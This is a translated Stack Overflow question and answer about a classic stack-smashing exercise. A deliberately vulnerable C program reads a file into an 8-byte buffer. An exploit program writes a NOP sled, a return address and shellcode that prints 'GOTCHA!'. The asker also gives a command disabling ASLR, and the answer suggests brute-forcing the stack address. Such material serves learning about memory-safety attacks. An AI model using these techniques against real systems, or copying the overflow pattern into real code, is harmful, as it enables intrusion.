我有两个程序,我试图做一些堆栈粉碎。
瓦伦c

#include <stdlib.h>
#include <stdio.h>
int bof()
{
    char buffer[8];
    FILE *badfile;
    badfile = fopen( "badfile", "r" );
    fread( buffer, sizeof( char ), 1024, badfile );
    return 1;
}

int main( int argc, char **argv)
{
    bof();
    printf("Not gonna do it! \n");
    return 1;
}

剥削
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
 "\xeb\x16"
 "\x31\xdb"
 "\x31\xd2"
 "\x31\xc0"
 "\x59"
 "\xbb\x01\x00\x00\x00"
 "\xb2\x09"
 "\xb0\x04"
 "\xcd\x80"
 "\xb0\x01"
 "\xcd\x80"
 "xe8\xe5\xff\xff\xff"
 "GOTCHA!\n";

#define OFFSET 1500

    int bof()
    {
       char buffer[8];
       strcpy(buffer, "AAAAAAAAA");
       return 1;
    }

    unsigned long get_ESP(void)
    {
          __asm__("movl %ESP,%EAX");
    }

    int main(int argc, char **argv)
    {
      unsigned int addr;
      FILE *badfile;
      char buffer[1024];
      addr = get_ESP()+OFFSET;
      fprintf(stderr, "Using Offset: 0x%x\nShell code size: %lx\n",addr, sizeof(shellcode));
      memset(&buffer, 0x90, 1024);
      buffer[12] = addr & 0x000000ff;
      buffer[13] = (addr & 0x0000ff00) >> 8;
      buffer[14] = (addr & 0x00ff0000) >> 16;
      buffer[15] = (addr & 0xff000000) >> 24;
      memcpy( &buffer[ (sizeof(buffer) - sizeof(shellcode)) ], shellcode,sizeof(shellcode) );
      badfile = fopen("./badfile","w");
      fwrite(buffer,1024,1,badfile);
      fclose(badfile);

    }

我在我的Macbook上用这些命令编译了这个,gcc vuln.c -fno-stack-protector -o vulngcc exploit.c -fno-stack-protector -o exploit。然后我运行vuln,它运行良好,然后利用并获得以下输出:
Using Offset: 0x6acd6814
Shell code size: 28

然后我用od -t x2 badfile损坏了文件,因此它看起来像这样:
bash-3.2# cat badfile
????????????h?j?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????1?1?1?Y??   ?̀?̀xe8????GOTCHA!

我正在尝试利用vuln程序,所以它会打印出GOTCHA!我现在得到Bus error: 10。有人能告诉我哪里出错了吗?
_________________________更新________
我用BT5做了同样的手术。使用echo 0 > /proc/sys/kernel/randomize_va_space禁用ASLR。
我还是不明白为什么这不管用。我在gdb上运行时得到这个:
Program received signal SIGSEGV, Segmentation fault.
0x90909090 in ?? ()
(gdb)

我这样做对吗?

最佳答案

我不确定OSX有什么样的保护——这在Linux系统上可能会更好。
不管怎样,基本的想法看起来不错-你的易受攻击的程序打开一个大文件并将其转储到一个小数组中。问题似乎是你的文件创建。
当你得到ESP时,你得到的是当前程序的堆栈指针。这与易受攻击的程序没有关系,除非堆栈在两者中的设置完全相同(事实并非如此)。
更好的方法是在gdb中执行易受攻击的程序,直到您点击bof()并查看堆栈指针。如果这是一致的,那么你赢了。如果它是随机的(我的猜测是随机的),那么你需要用你的nop雪橇和希望。
在32位计算机上,堆栈随机化并不是太多,反复尝试利用此漏洞最终会使您获得成功的攻击。
祝你好运!

关于c - C溢出需要一些指导,我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/10220267/

10-11 20:55